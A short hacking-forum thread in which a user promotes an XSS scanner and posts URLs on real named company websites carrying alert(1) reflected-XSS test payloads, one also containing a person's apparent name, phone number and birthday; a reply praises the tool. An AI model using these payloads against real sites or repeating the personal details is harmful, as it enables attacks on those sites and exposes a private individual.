+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: I have found some xss with using my Scanner (/showthread.php?tid=6033964)
I have found some xss with using my Scanner - longwenzhang - Dec 19, 2019
Following is my findings recently using a scanner named "NoXss", Here: https://github.com/lwzSoviet/NoXss
Code
http://dgwestore.nestlechinese.com/weixin/asset/Show.aspx?openid=abcdef&id=xssjs";alert(1)//
https://m.iwcard.com/wap/Jd?accessToken=xssjs%27%3Balert(1);//
https://m.youyuwang.com/goods/668.html?days=xssjs%27%3Balert(1);//
https://36.vrm.cn/40?src=ta-ff-xmxx-01-FF_75_806&name=%E6%BD%98%E5%BB%B7%E5%BC%BA&mobile=18023786181&yinliuActivityId=806&sex=1&yinliuUserId=6756091&birthday=1974-07-07&yinliu_company_id=xssjs%27%3Balert(1);//By using "NoXss", I have found 30+ xss vulnerablity this week, include some known companies like NESTLE, KFC, some wifi web pages,some shops online...
This tool is very fast and quite good. Try and Star it!! 🤝
https://github.com/lwzSoviet/NoXss
RE: I have found some xss with using my Scanner - Shisho - Dec 19, 2019
I really like the fact that it can be used with BURP.
I see commits by a user with your same Hack Forums username so if you wrote it great work!